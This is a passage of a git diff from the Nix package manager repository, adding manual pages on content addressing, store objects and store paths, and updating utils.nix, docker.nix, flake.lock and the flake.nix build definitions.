formats have two problems: + +- They do not have a canonical serialisation, meaning that given an FSO, there can +be many different serialisations. + For instance, TAR files can have variable amounts of padding between archive members; + and some archive formats leave the order of directory entries undefined. + This would be bad because we use serialisation to compute cryptographic hashes over file system objects, and for those hashes to be useful as a content address or for integrity checking, uniqueness is crucial. + Otherwise, correct hashes would report false mismatches, and the store would fail to find the content. + +- They store more information than we have in our notion of FSOs, such as time stamps. + This can cause FSOs that Nix should consider equal to hash to different values on different machines, just because the dates differ. + +- As a practical consideration, the TAR format is the only truly universal format in the Unix environment. + It has many problems, such as an inability to deal with long file names and files larger than 2^33 bytes. + Current implementations such as GNU Tar work around these limitations in various ways. + +For these reasons, Nix has its very own archive format—the Nix Archive (NAR) format, +which is carefully designed to avoid the problems described above. + +The exact specification of the Nix Archive format is in `protocols/nix-archive.md` + +## Content addressing File System Objects beyond a single serialisation pass + +Serialising the entire tree and then hashing that binary string is not the only option for content addressing, however. +Another technique is that of a [Merkle graph](https://en.wikipedia.org/wiki/Merkle_tree), where previously computed hashes are included in subsequent byte strings to be hashed. + +In particular, the Merkle graphs can match the original graph structure of file system objects: +we can first hash (serialised) child file system objects, and then hash parent objects using the hashes of their children in the serialisation (to be hashed) of the parent file system objects. + +Currently, there is one such Merkle DAG content addressing method supported. + +### Git ([experimental][xp-feature-git-hashing]) { #git } + +> **Warning** +> +> This method is part of the [`git-hashing`][xp-feature-git-hashing] experimental feature. + +Git's file system model is very close to Nix's, and so Git's content addressing method is a pretty good fit. +Just as with regular Git, files and symlinks are hashed as git "blobs", and directories are hashed as git "trees". + +However, one difference between Nix's and Git's file system model needs special treatment. +Plain files, executable files, and symlinks are not differentiated as distinctly addressable objects, but by their context: by the directory entry that refers to them. +That means so long as the root object is a directory, there is no problem: +every non-directory object is owned by a parent directory, and the entry that refers to it provides the missing information. +However, if the root object is not a directory, then we have no way of knowing which one of an executable file, non-executable file, or symlink it is supposed to be. + +In response to this, we have decided to treat a bare file as non-executable file. +This is similar to do what we do with [flat serialisation](#serial-flat), which also lacks this information. +To avoid an address collision, attempts to hash a bare executable file or symlink will result in an error (just as would happen for flat serialisation also). +Thus, Git can encode some, but not all of Nix's "File System Objects", and this sort of content-addressing is likewise partial. + +In the future, we may support a Git-like hash for such file system objects, or we may adopt another Merkle DAG format which is capable of representing all Nix file system objects. + +[file system object]: ../file-system-object.md +[store object]: ../store-object.md +[xp-feature-git-hashing]: @docroot@/development/experimental-features.md#xp-feature-git-hashing diff --git a/doc/manual/src/store/index.md b/doc/manual/src/store/index.md new file mode 100644 index 000000000..f1e8f1402 --- /dev/null +++ b/doc/manual/src/store/index.md @@ -0,0 +1,5 @@ +# Nix Store + +The *Nix store* is an abstraction to store immutable file system data (such as software packages) that can have dependencies on other such data. + +There are [multiple types of Nix stores](./types/index.md) with different capabilities, such as the default one on the [local filesystem](./types/local-store.md) (`/nix/store`) or [binary caches](./types/http-binary-cache-store.md). diff --git a/doc/manual/src/store/store-object.md b/doc/manual/src/store/store-object.md new file mode 100644 index 000000000..caf5657d1 --- /dev/null +++ b/doc/manual/src/store/store-object.md @@ -0,0 +1,10 @@ +## Store Object + +A Nix store is a collection of *store objects* with *references* between them. +A store object consists of + + - A [file system object](./file-system-object.md) as data + - A set of [store paths](./store-path.md) as references to other store objects + +Store objects are [immutable](https://en.wikipedia.org/wiki/Immutable_object): +Once created, they do not change until they are deleted. diff --git a/doc/manual/src/store/store-object/content-address.md b/doc/manual/src/store/store-object/content-address.md new file mode 100644 index 000000000..02dce2836 --- /dev/null +++ b/doc/manual/src/store/store-object/content-address.md @@ -0,0 +1,95 @@ +# Content-Addressing Store Objects + +Just [like][fso-ca] [File System Objects][File System Object], +[Store Objects][Store Object] can also be [content-addressed](@docroot@/glossary.md#gloss-content-addressed), +unless they are [input-addressed](@docroot@/glossary.md#gloss-input-addressed-store-object). + +For store objects, the content address we produce will take the form of a [Store Path] rather than regular hash. +In particular, the content-addressing scheme will ensure that the digest of the store path is solely computed from the + +- file system object graph (the root one and its children, if it has any) +- references +- [store directory](../store-path.md#store-directory) +- name + +of the store object, and not any other information, which would not be an intrinsic property of that store object. + +For the full specification of the algorithms involved, see the [specification of store path digests][sp-spec]. + +[File System Object]: ../file-system-object.md +[Store Object]: ../store-object.md +[Store Path]: ../store-path.md + +## Content addressing each part of a store object + +### File System Objects + +With all currently supported store object content addressing methods, the file system object is always [content-addressed][fso-ca] first, and then that hash is incorporated into content address computation for the store object. + +### References + +With all currently supported store object content addressing methods, +other objects are referred to by their regular (string-encoded-) [store paths][Store Path]. + +Self-references however cannot be referred to by their path, because we are in the midst of describing how to compute that path! + +> The alternative would require finding as hash function fixed point, i.e. the solution to an equation in the form +> ``` +> digest = hash(..... || digest || ....) +> ``` +> which is computationally infeasible. +> As far as we know, this is equivalent to finding a hash collision. + +Instead we just have a "has self reference" boolean, which will end up affecting the digest. + +### Name and Store Directory + +These two items affect the digest in a way that is standard for store path digest computations and not specific to content-addressing. +Consult the [specification of store path digests][sp-spec] for further details. + +## Content addressing Methods + +For historical reasons, we don't support all features in all combinations. +Each currently supported method of content addressing chooses a single method of file system object hashing, and may offer some restrictions on references. +The names and store directories are unrestricted however. + +### Flat { #method-flat } + +This uses the corresponding [Flat](../file-system-object/content-address.md#serial-flat) method of file system object content addressing. + +References are not supported: store objects with flat hashing *and* references can not be created. + +### Text { #method-text } + +This also uses the corresponding [Flat](../file-system-object/content-address.md#serial-flat) method of file system object content addressing. + +References to other store objects are supported, but self references are not. + +This is the only store-object content-addressing method that is not named identically with a corresponding file system object method. +It is somewhat obscure, mainly used for "drv files" +(derivations serialized as store objects in their ["ATerm" file format](@docroot@/protocols/derivation-aterm.md)). +Prefer another method if possible. + +### Nix Archive { #method-nix-archive } + +This uses the corresponding [Nix Archive](../file-system-object/content-address.md#serial-nix-archive) method of file system object content addressing. + +References (to other store objects and self references alike) are supported so long as the hash algorithm is SHA-256, but not (neither kind) otherwise. + +### Git { #method-git } + +> **Warning** +> +> This method is part of the [`git-hashing`][xp-feature-git-hashing] experimental feature. + +This uses the corresponding [Git](../file-system-object/content-address.md#serial-git) method of file system object content addressing. + +References are not supported. + +Only SHA-1 is supported at this time. +If [SHA-256-based Git](https://git-scm.com/docs/hash-function-transition) +becomes more widespread, this restriction will be revisited. + +[fso-ca]: ../file-system-object/content-address.md +[sp-spec]: @docroot@/protocols/store-path.md +[xp-feature-git-hashing]: @docroot@/development/experimental-features.md#xp-feature-git-hashing diff --git a/doc/manual/src/store/store-path.md b/doc/manual/src/store/store-path.md new file mode 100644 index 000000000..beec2389b --- /dev/null +++ b/doc/manual/src/store/store-path.md @@ -0,0 +1,79 @@ +# Store Path + +> **Example** +> +> `/nix/store/a040m110amc4h71lds2jmr8qrkj2jhxd-git-2.38.1` +> +> A rendered store path + +Nix implements references to [store objects](./index.md#store-object) as *store paths*. + +Think of a store path as an [opaque], [unique identifier]: +The only way to obtain store path is by adding or building store objects. +A store path will always reference exactly one store object. + +[opaque]: https://en.m.wikipedia.org/wiki/Opaque_data_type +[unique identifier]: https://en.m.wikipedia.org/wiki/Unique_identifier + +Store paths are pairs of + +- A 20-byte digest for identification +- A symbolic name for people to read + +> **Example** +> +> - Digest: `b6gvzjyb2pg0kjfwrjmg1vfhh54ad73z` +> - Name: `firefox-33.1` + +To make store objects accessible to operating system processes, stores have to expose store objects through the file system. + +A store path is rendered to a file system path as the concatenation of + +- [Store directory](#store-directory) (typically `/nix/store`) +- Path separator (`/`) +- Digest rendered in a custom variant of [Base32](https://en.wikipedia.org/wiki/Base32) (20 arbitrary bytes become 32 ASCII characters) +- Hyphen (`-`) +- Name + +> **Example** +> +> ``` +> /nix/store/b6gvzjyb2pg0kjfwrjmg1vfhh54ad73z-firefox-33.1 +> |--------| |------------------------------| |----------| +> store directory digest name +> ``` + +Exactly how the digest is calculated depends on the type of store path. +Store path digests are *supposed* to be opaque, and so for most operations, it is not necessary to know the details. +That said, the manual has a full [specification of store path digests](@docroot@/protocols/store-path.md). + +## Store Directory + +Every [Nix store](./index.md) has a store directory. + +Not every store can be accessed through the file system. +But if the store has a file system representation, the store directory contains the store’s [file system objects], which can be addressed by [store paths](#store-path). + +[file system objects]: ./file-system-object.md + +This means a store path is not just derived from the referenced store object itself, but depends on the store that the store object is in. + +> **Note** +> +> The store directory defaults to `/nix/store`, but is in principle arbitrary. + +It is important which store a given store object belongs to: +Files in the store object can contain store paths, and processes may read these paths. +Nix can only guarantee referential integrity if store paths do not cross store boundaries. + +Therefore one can only copy store objects to a different store if + +- The source and target stores' directories match + + or + +- The store object in question has no references, that is, contains no store paths + +One cannot copy a store object to a store with a different store directory. +Instead, it has to be rebuilt, together with all its dependencies. +It is in general not enough to replace the store directory string in file contents, as this may render executables unusable by invalidating their internal offsets or checksums. diff --git a/doc/manual/src/store/types/index.md.in b/doc/manual/src/store/types/index.md.in new file mode 100644 index 000000000..a35161ce8 --- /dev/null +++ b/doc/manual/src/store/types/index.md.in @@ -0,0 +1,43 @@ +Nix supports different types of stores: + +@store-types@ + +## Store URL format + +Stores are specified using a URL-like syntax. For example, the command + +```console +# nix path-info --store https://cache.nixos.org/ --json \ + /nix/store/a7gvj343m05j2s32xcnwr35v31ynlypr-coreutils-9.1 +``` + +fetches information about a store path in the HTTP binary cache +located at https://cache.nixos.org/, which is a type of store. + +Store URLs can specify **store settings** using URL query strings, +i.e. by appending `?name1=value1&name2=value2&...` to the URL. For +instance, + +``` +--store ssh://machine.example.org?ssh-key=/path/to/my/key +``` + +tells Nix to access the store on a remote machine via the SSH +protocol, using `/path/to/my/key` as the SSH private key. The +supported settings for each store type are documented below. + +The special store URL `auto` causes Nix to automatically select a +store as follows: + +* Use the [local store](./local-store.md) `/nix/store` if `/nix/var/nix` + is writable by the current user. + +* Otherwise, if `/nix/var/nix/daemon-socket/socket` exists, [connect + to the Nix daemon listening on that socket](./local-daemon-store.md). + +* Otherwise, on Linux only, use the [local chroot store](./local-store.md) + `~/.local/share/nix/root`, which will be created automatically if it + does not exist. + +* Otherwise, use the [local store](./local-store.md) `/nix/store`. + diff --git a/doc/manual/utils.nix b/doc/manual/utils.nix index d0643ef46..19ff49b64 100644 --- a/doc/manual/utils.nix +++ b/doc/manual/utils.nix @@ -1,10 +1,19 @@ with builtins; +let + lowerChars = stringToCharacters "abcdefghijklmnopqrstuvwxyz"; + upperChars = stringToCharacters "ABCDEFGHIJKLMNOPQRSTUVWXYZ"; + stringToCharacters = s: genList (p: substring p 1 s) (stringLength s); +in + rec { splitLines = s: filter (x: !isList x) (split "\n" s); concatStrings = concatStringsSep ""; + attrsToList = a: + map (name: { inherit name; value = a.${name}; }) (builtins.attrNames a); + replaceStringsRec = from: to: string: # recursively replace occurrences of `from` with `to` within `string` # example: @@ -15,6 +24,8 @@ rec { in if replaced == string then string else replaceStringsRec from to replaced; + toLower = replaceStrings upperChars lowerChars; + squash = replaceStringsRec "\n\n\n" "\n\n"; trim = string: @@ -38,4 +49,9 @@ rec { filterAttrs = pred: set: listToAttrs (concatMap (name: let v = set.${name}; in if pred name v then [(nameValuePair name v)] else []) (attrNames set)); + + optionalString = cond: string: if cond then string else ""; + + indent = prefix: s: + concatStringsSep "\n" (map (x: if x == "" then x else "${prefix}${x}") (splitLines s)); } diff --git a/docker.nix b/docker.nix index 203a06b53..bd16b71cd 100644 --- a/docker.nix +++ b/docker.nix @@ -8,6 +8,7 @@ , extraPkgs ? [] , maxLayers ? 100 , nixConf ? {} +, flake-registry ? null }: let defaultPkgs = with pkgs; [ @@ -189,6 +190,12 @@ let cp -a ${rootEnv}/* $out/ ln -s ${manifest} $out/manifest.nix ''; + flake-registry-path = if (flake-registry == null) then + null + else if (builtins.readFileType (toString flake-registry)) == "directory" then + "${flake-registry}/flake-registry.json" + else + flake-registry; in pkgs.runCommand "base-system" { @@ -201,7 +208,7 @@ let ]; allowSubstitutes = false; preferLocalBuild = true; - } '' + } ('' env set -x mkdir -p $out/etc @@ -247,7 +254,16 @@ let mkdir -p $out/bin $out/usr/bin ln -s ${pkgs.coreutils}/bin/env $out/usr/bin/env ln -s ${pkgs.bashInteractive}/bin/bash $out/bin/sh - ''; + + '' + (lib.optionalString (flake-registry-path != null) '' + nixCacheDir="/root/.cache/nix" + mkdir -p $out$nixCacheDir + globalFlakeRegistryPath="$nixCacheDir/flake-registry.json" + ln -s ${flake-registry-path} $out$globalFlakeRegistryPath + mkdir -p $out/nix/var/nix/gcroots/auto + rootName=$(${pkgs.nix}/bin/nix --extra-experimental-features nix-command hash file --type sha1 --base32 <(echo -n $globalFlakeRegistryPath)) + ln -s $globalFlakeRegistryPath $out/nix/var/nix/gcroots/auto/$rootName + '')); in pkgs.dockerTools.buildLayeredImageWithNixDb { diff --git a/flake.lock b/flake.lock index a66c9cb1b..b5d0b881c 100644 --- a/flake.lock +++ b/flake.lock @@ -1,37 +1,115 @@ { "nodes": { - "lowdown-src": { + "flake-compat": { "flake": false, "locked": { - "lastModified": 1633514407, - "narHash": "sha256-Dw32tiMjdK9t3ETl5fzGrutQTzh2rufgZV4A/BbxuD4=", - "owner": "kristapsdz", - "repo": "lowdown", - "rev": "d2c2b44ff6c27b936ec27358a2653caaef8f73b8", + "lastModified": 1696426674, + "narHash": "sha256-kvjfFW7WAETZlt09AgDn1MrtKzP7t90Vf7vypd3OL1U=", + "owner": "edolstra", + "repo": "flake-compat", + "rev": "0f9255e01c2351cc7d116c072cb317785dd33b33", "type": "github" }, "original": { - "owner": "kristapsdz", - "repo": "lowdown", + "owner": "edolstra", + "repo": "flake-compat", + "type": "github" + } + }, + "flake-parts": { + "inputs": { + "nixpkgs-lib": [ + "nixpkgs" + ] + }, + "locked": { + "lastModified": 1719994518, + "narHash": "sha256-pQMhCCHyQGRzdfAkdJ4cIWiw+JNuWsTX7f0ZYSyz0VY=", + "owner": "hercules-ci", + "repo": "flake-parts", + "rev": "9227223f6d922fee3c7b190b2cc238a99527bbb7", + "type": "github" + }, + "original": { + "owner": "hercules-ci", + "repo": "flake-parts", + "type": "github" + } + }, + "git-hooks-nix": { + "inputs": { + "flake-compat": [], + "gitignore": [], + "nixpkgs": [ + "nixpkgs" + ], + "nixpkgs-stable": [ + "nixpkgs" + ] + }, + "locked": { + "lastModified": 1721042469, + "narHash": "sha256-6FPUl7HVtvRHCCBQne7Ylp4p+dpP3P/OYuzjztZ4s70=", + "owner": "cachix", + "repo": "git-hooks.nix", + "rev": "f451c19376071a90d8c58ab1a953c6e9840527fd", + "type": "github" + }, + "original": { + "owner": "cachix", + "repo": "git-hooks.nix", + "type": "github" + } + }, + "libgit2": { + "flake": false, + "locked": { + "lastModified": 1715853528, + "narHash": "sha256-J2rCxTecyLbbDdsyBWn9w7r3pbKRMkI9E7RvRgAqBdY=", + "owner": "libgit2", + "repo": "libgit2", + "rev": "36f7e21ad757a3dacc58cf7944329da6bc1d6e96", + "type": "github" + }, + "original": { + "owner": "libgit2", + "ref": "v1.8.1", + "repo": "libgit2", "type": "github" } }, "nixpkgs": { "locked": { - "lastModified": 1657693803, - "narHash": "sha256-G++2CJ9u0E7NNTAi9n5G8TdDmGJXcIjkJ3NF8cetQB8=", + "lastModified": 1723688146, + "narHash": "sha256-sqLwJcHYeWLOeP/XoLwAtYjr01TISlkOfz+NG82pbdg=", "owner": "NixOS", "repo": "nixpkgs", - "rev": "365e1b3a859281cf11b94f87231adeabbdd878a2", + "rev": "c3d4ac725177c030b1e289015989da2ad9d56af0", "type": "github" }, "original": { "owner": "NixOS", - "ref": "nixos-22.05-small", + "ref": "nixos-24.05", "repo": "nixpkgs", "type": "github" } }, + "nixpkgs-23-11": { + "locked": { + "lastModified": 1717159533, + "narHash": "sha256-oamiKNfr2MS6yH64rUn99mIZjc45nGJlj9eGth/3Xuw=", + "owner": "NixOS", + "repo": "nixpkgs", + "rev": "a62e6edd6d5e1fa0329b8653c801147986f8d446", + "type": "github" + }, + "original": { + "owner": "NixOS", + "repo": "nixpkgs", + "rev": "a62e6edd6d5e1fa0329b8653c801147986f8d446", + "type": "github" + } + }, "nixpkgs-regression": { "locked": { "lastModified": 1643052045, @@ -50,8 +128,12 @@ }, "root": { "inputs": { - "lowdown-src": "lowdown-src", + "flake-compat": "flake-compat", + "flake-parts": "flake-parts", + "git-hooks-nix": "git-hooks-nix", + "libgit2": "libgit2", "nixpkgs": "nixpkgs", + "nixpkgs-23-11": "nixpkgs-23-11", "nixpkgs-regression": "nixpkgs-regression" } } diff --git a/flake.nix b/flake.nix index 4ba3f04b0..cded6c3a9 100644 --- a/flake.nix +++ b/flake.nix @@ -1,635 +1,285 @@ { description = "The purely functional package manager"; - inputs.nixpkgs.url = "github:NixOS/nixpkgs/nixos-22.05-small"; + inputs.nixpkgs.url = "github:NixOS/nixpkgs/nixos-24.05"; inputs.nixpkgs-regression.url = "github:NixOS/nixpkgs/215d4d0fd80ca5163643b03a33fde804a29cc1e2"; - inputs.lowdown-src = { url = "github:kristapsdz/lowdown"; flake = false; }; + inputs.nixpkgs-23-11.url = "github:NixOS/nixpkgs/a62e6edd6d5e1fa0329b8653c801147986f8d446"; + inputs.flake-compat = { url = "github:edolstra/flake-compat"; flake = false; }; + inputs.libgit2 = { url = "github:libgit2/libgit2/v1.8.1"; flake = false; }; + + # dev tooling + inputs.flake-parts.url = "github:hercules-ci/flake-parts"; + inputs.git-hooks-nix.url = "github:cachix/git-hooks.nix"; + # work around https://github.com/NixOS/nix/issues/7730 + inputs.flake-parts.inputs.nixpkgs-lib.follows = "nixpkgs"; + inputs.git-hooks-nix.inputs.nixpkgs.follows = "nixpkgs"; + inputs.git-hooks-nix.inputs.nixpkgs-stable.follows = "nixpkgs"; + # work around 7730 and https://github.com/NixOS/nix/issues/7807 + inputs.git-hooks-nix.inputs.flake-compat.follows = ""; + inputs.git-hooks-nix.inputs.gitignore.follows = ""; + + outputs = inputs@{ self, nixpkgs, nixpkgs-regression, libgit2, ... }: - outputs = { self, nixpkgs, nixpkgs-regression, lowdown-src }: let + inherit (nixpkgs) lib; officialRelease = false; - version = nixpkgs.lib.fileContents ./.version + versionSuffix; - versionSuffix = - if officialRelease - then "" - else "pre${builtins.substring 0 8 (self.lastModifiedDate or self.lastModified or "19700101")}_${self.shortRev or "dirty"}"; - + linux32BitSystems = [ "i686-linux" ]; linux64BitSystems = [ "x86_64-linux" "aarch64-linux" ]; - linuxSystems = linux64BitSystems ++ [ "i686-linux" ]; - systems = linuxSystems ++ [ "x86_64-darwin" "aarch64-darwin" ]; + linuxSystems = linux32BitSystems ++ linux64BitSystems; + darwinSystems = [ "x86_64-darwin" "aarch64-darwin" ]; + systems = linuxSystems ++ darwinSystems; - crossSystems = [ "armv6l-linux" "armv7l-linux" ]; + crossSystems = [ + "armv6l-unknown-linux-gnueabihf" + "armv7l-unknown-linux-gnueabihf" + "riscv64-unknown-linux-gnu" + "x86_64-unknown-netbsd" + "x86_64-unknown-freebsd" + "x86_64-w64-mingw32" + ]; - stdenvs = [ "gccStdenv" "clangStdenv" "clang11Stdenv" "stdenv" "libcxxStdenv" "ccacheStdenv" ]; + stdenvs = [ + "ccacheStdenv" + "clangStdenv" + "gccStdenv" + "libcxxStdenv" + "stdenv" + ]; - forAllSystems = f: nixpkgs.lib.genAttrs systems (system: f system); - forAllSystemsAndStdenvs = f: forAllSystems (system: - nixpkgs.lib.listToAttrs + /** + `flatMapAttrs attrs f` applies `f` to each attribute in `attrs` and + merges the results into a single attribute set. + + This can be nested to form a build matrix where all the attributes + generated by the innermost `f` are returned as is. + (Provided that the names are unique.) + + See https://nixos.org/manual/nixpkgs/stable/index.html#function-library-lib.attrsets.concatMapAttrs + */ + flatMapAttrs = attrs: f: lib.concatMapAttrs f attrs; + + forAllSystems = lib.genAttrs systems; + + forAllCrossSystems = lib.genAttrs crossSystems; + + forAllStdenvs = f: + lib.listToAttrs (map - (n: - nixpkgs.lib.nameValuePair "${n}Packages" ( - f system n - )) stdenvs - ) - ); + (stdenvName: { + name = "${stdenvName}Packages"; + value = f stdenvName; + }) + stdenvs); - forAllStdenvs = f: nixpkgs.lib.genAttrs stdenvs (stdenv: f stdenv); + + # We don't apply flake-parts to the whole flake so that non-development attributes + # load without fetching any development inputs. + devFlake = inputs.flake-parts.lib.mkFlake { inherit inputs; } { + imports = [ ./maintainers/flake-module.nix ]; + systems = lib.subtractLists crossSystems systems; + perSystem = { system, ... }: { + _module.args.pkgs = nixpkgsFor.${system}.native; + }; + }; # Memoize nixpkgs for different platforms for efficiency. - nixpkgsFor = - let stdenvsPackages = forAllSystemsAndStdenvs - (system: stdenv: - import nixpkgs { + nixpkgsFor = forAllSystems + (system: let + make-pkgs = crossSystem: stdenv: import nixpkgs { + localSystem = { inherit system; - overlays = [ - (overlayFor (p: p.${stdenv})) - ]; - } - ); - in - # Add the `stdenvPackages` at toplevel, both because these are the ones - # we want most of the time and for backwards compatibility - forAllSystems (system: stdenvsPackages.${system} // stdenvsPackages.${system}.stdenvPackages); - - commonDeps = { pkgs, isStatic ? false }: with pkgs; rec { - # Use "busybox-sandbox-shell" if present, - # if not (legacy) fallback and hope it's sufficient. - sh = pkgs.busybox-sandbox-shell or (busybox.override { - useMusl = true; - enableStatic = true; - enableMinimal = true; - extraConfig = '' - CONFIG_FEATURE_FANCY_ECHO y - CONFIG_FEATURE_SH_MATH y - CONFIG_FEATURE_SH_MATH_64 y - - CONFIG_ASH y - CONFIG_ASH_OPTIMIZE_FOR_SIZE y - - CONFIG_ASH_ALIAS y - CONFIG_ASH_BASH_COMPAT y - CONFIG_ASH_CMDCMD y - CONFIG_ASH_ECHO y - CONFIG_ASH_GETOPTS y - CONFIG_ASH_INTERNAL_GLOB y - CONFIG_ASH_JOB_CONTROL y - CONFIG_ASH_PRINTF y - CONFIG_ASH_TEST y - ''; + }; + crossSystem = if crossSystem == null then null else { + config = crossSystem; + } // lib.optionalAttrs (crossSystem == "x86_64-unknown-freebsd13") { + useLLVM = true; + }; + overlays = [ + (overlayFor (p: p.${stdenv})) + ]; + }; + stdenvs = forAllStdenvs (make-pkgs null); + native = stdenvs.stdenvPackages; + in { + inherit stdenvs native; + static = native.pkgsStatic; + cross = forAllCrossSystems (crossSystem: make-pkgs crossSystem "stdenv"); }); - configureFlags = - lib.optionals stdenv.isLinux [ - "--with-boost=${boost}/lib" - "--with-sandbox-shell=${sh}/bin/busybox" - ] - ++ lib.optionals (stdenv.isLinux && !(isStatic && stdenv.system == "aarch64-linux")) [ - "LDFLAGS=-fuse-ld=gold" - ]; - - nativeBuildDeps = - [ - buildPackages.bison - buildPackages.flex - (lib.getBin buildPackages.lowdown-nix) - buildPackages.mdbook - buildPackages.autoconf-archive - buildPackages.autoreconfHook - buildPackages.pkg-config - - # Tests - buildPackages.git - buildPackages.mercurial # FIXME: remove? only needed for tests - buildPackages.jq # Also for custom mdBook preprocessor. - ] - ++ lib.optionals stdenv.hostPlatform.isLinux [(buildPackages.util-linuxMinimal or buildPackages.utillinuxMinimal)]; - - buildDeps = - [ (curl.override { patchNetrcRegression = true; }) - bzip2 xz brotli editline - openssl sqlite - libarchive - boost - lowdown-nix - gtest - ] - ++ lib.optionals stdenv.isLinux [libseccomp] - ++ lib.optional (stdenv.isLinux || stdenv.isDarwin) libsodium - ++ lib.optional stdenv.hostPlatform.isx86_64 libcpuid; - - awsDeps = lib.optional (stdenv.isLinux || stdenv.isDarwin) - (aws-sdk-cpp.override { - apis = ["s3" "transfer"]; - customMemoryManagement = false; - }); - - propagatedDeps = - [ ((boehmgc.override { - enableLargeConfig = true; - }).overrideAttrs(o: { - patches = (o.patches or []) ++ [ - ./boehmgc-coroutine-sp-fallback.diff - ]; - })) - nlohmann_json - ]; + binaryTarball = nix: pkgs: pkgs.callPackage ./scripts/binary-tarball.nix { + inherit nix; }; - installScriptFor = systems: - with nixpkgsFor.x86_64-linux; - runCommand "installer-script" - { buildInputs = [ nix ]; - } - '' - mkdir -p $out/nix-support - - # Converts /nix/store/50p3qk8k...-nix-2.4pre20201102_550e11f/bin/nix to 50p3qk8k.../bin/nix. - tarballPath() { - # Remove the store prefix - local path=''${1#${builtins.storeDir}/} - # Get the path relative to the derivation root - local rest=''${path#*/} - # Get the derivation hash - local drvHash=''${path%%-*} - echo "$drvHash/$rest" - } - - substitute ${./scripts/install.in} $out/install \ - ${pkgs.lib.concatMapStrings - (system: let - tarball = if builtins.elem system crossSystems then self.hydraJobs.binaryTarballCross.x86_64-linux.${system} else self.hydraJobs.binaryTarball.${system}; - in '' \ - --replace '@tarballHash_${system}@' $(nix --experimental-features nix-command hash-file --base16 --type sha256 ${tarball}/*.tar.xz) \ - --replace '@tarballPath_${system}@' $(tarballPath ${tarball}/*.tar.xz) \ - '' - ) - systems - } --replace '@nixVersion@' ${version} - - echo "file installer $out/install" >> $out/nix-support/hydra-build-products - ''; - - testNixVersions = pkgs: client: daemon: with commonDeps { inherit pkgs; }; with pkgs.lib; pkgs.stdenv.mkDerivation { - NIX_DAEMON_PACKAGE = daemon; - NIX_CLIENT_PACKAGE = client; - name = - "nix-tests" - + optionalString - (versionAtLeast daemon.version "2.4pre20211005" && - versionAtLeast client.version "2.4pre20211005") - "-${client.version}-against-${daemon.version}"; - inherit version; - - src = self; - - VERSION_SUFFIX = versionSuffix; - - nativeBuildInputs = nativeBuildDeps; - buildInputs = buildDeps ++ awsDeps; - propagatedBuildInputs = propagatedDeps; - - enableParallelBuilding = true; - - dontBuild = true; - doInstallCheck = true; - - installPhase = '' - mkdir -p $out - ''; - - installCheckPhase = "make installcheck -j$NIX_BUILD_CORES -l$NIX_BUILD_CORES"; - }; - - binaryTarball = buildPackages: nix: pkgs: - let - inherit (pkgs) cacert; - installerClosureInfo = buildPackages.closureInfo { rootPaths = [ nix cacert ]; }; - in - - buildPackages.runCommand "nix-binary-tarball-${version}" - { #nativeBuildInputs = lib.optional (system != "aarch64-linux") shellcheck; - meta.description = "Distribution-independent Nix bootstrap binaries for ${pkgs.system}"; - } - '' - cp ${installerClosureInfo}/registration $TMPDIR/reginfo - cp ${./scripts/create-darwin-volume.sh} $TMPDIR/create-darwin-volume.sh - substitute ${./scripts/install-nix-from-closure.sh} $TMPDIR/install \ - --subst-var-by nix ${nix} \ - --subst-var-by cacert ${cacert} - - substitute ${./scripts/install-darwin-multi-user.sh} $TMPDIR/install-darwin-multi-user.sh \ - --subst-var-by nix ${nix} \ - --subst-var-by cacert ${cacert} - substitute ${./scripts/install-systemd-multi-user.sh} $TMPDIR/install-systemd-multi-user.sh \ - --subst-var-by nix ${nix} \ - --subst-var-by cacert ${cacert} - substitute ${./scripts/install-multi-user.sh} $TMPDIR/install-multi-user \ - --subst-var-by nix ${nix} \ - --subst-var-by cacert ${cacert} - - if type -p shellcheck; then - # SC1090: Don't worry about not being able to find - # $nix/etc/profile.d/nix.sh - shellcheck --exclude SC1090 $TMPDIR/install - shellcheck $TMPDIR/create-darwin-volume.sh - shellcheck $TMPDIR/install-darwin-multi-user.sh - shellcheck $TMPDIR/install-systemd-multi-user.sh - - # SC1091: Don't panic about not being able to source - # /etc/profile - # SC2002: Ignore "useless cat" "error", when loading - # .reginfo, as the cat is a much cleaner - # implementation, even though it is "useless" - # SC2116: Allow ROOT_HOME=$(echo ~root) for resolving - # root's home directory - shellcheck --external-sources \ - --exclude SC1091,SC2002,SC2116 $TMPDIR/install-multi-user - fi - - chmod +x $TMPDIR/install - chmod +x $TMPDIR/create-darwin-volume.sh - chmod +x $TMPDIR/install-darwin-multi-user.sh - chmod +x $TMPDIR/install-systemd-multi-user.sh - chmod +x $TMPDIR/install-multi-user - dir=nix-${version}-${pkgs.system} - fn=$out/$dir.tar.xz - mkdir -p $out/nix-support - echo "file binary-dist $fn" >> $out/nix-support/hydra-build-products - tar cvfJ $fn \ - --owner=0 --group=0 --mode=u+rw,uga+r \ - --mtime='1970-01-01' \ - --absolute-names \ - --hard-dereference \ - --transform "s,$TMPDIR/install,$dir/install," \ - --transform "s,$TMPDIR/create-darwin-volume.sh,$dir/create-darwin-volume.sh," \ - --transform "s,$TMPDIR/reginfo,$dir/.reginfo," \ - --transform "s,$NIX_STORE,$dir/store,S" \ - $TMPDIR/install \ - $TMPDIR/create-darwin-volume.sh \ - $TMPDIR/install-darwin-multi-user.sh \ - $TMPDIR/install-systemd-multi-user.sh \ - $TMPDIR/install-multi-user \ - $TMPDIR/reginfo \ - $(cat ${installerClosureInfo}/store-paths) - ''; - overlayFor = getStdenv: final: prev: - let currentStdenv = getStdenv final; in + let + stdenv = getStdenv final; + in { nixStable = prev.nix; - # Forward from the previous stage as we don’t want it to pick the lowdown override - nixUnstable = prev.nixUnstable; - - nix = with final; with commonDeps { inherit pkgs; }; currentStdenv.mkDerivation { - name = "nix-${version}"; - inherit version; - + # A new scope, so that we can use `callPackage` to inject our own interdependencies + # without "polluting" the top level "`pkgs`" attrset. + # This also has the benefit of providing us with a distinct set of packages + # we can iterate over. + nixComponents = lib.makeScope final.nixDependencies.newScope (import ./packaging/components.nix { + inherit (final) lib; + inherit officialRelease; src = self; + }); - VERSION_SUFFIX = versionSuffix; + # The dependencies are in their own scope, so that they don't have to be + # in Nixpkgs top level `pkgs` or `nixComponents`. + nixDependencies = lib.makeScope final.newScope (import ./packaging/dependencies.nix { + inherit inputs stdenv; + pkgs = final; + }); - outputs = [ "out" "dev" "doc" ]; + nix = final.nixComponents.nix; - nativeBuildInputs = nativeBuildDeps; - buildInputs = buildDeps ++ awsDeps; + # See https://github.com/NixOS/nixpkgs/pull/214409 + # Remove when fixed in this flake's nixpkgs + pre-commit = + if prev.stdenv.hostPlatform.system == "i686-linux" + then (prev.pre-commit.override (o: { dotnet-sdk = ""; })).overridePythonAttrs (o: { doCheck = false; }) + else 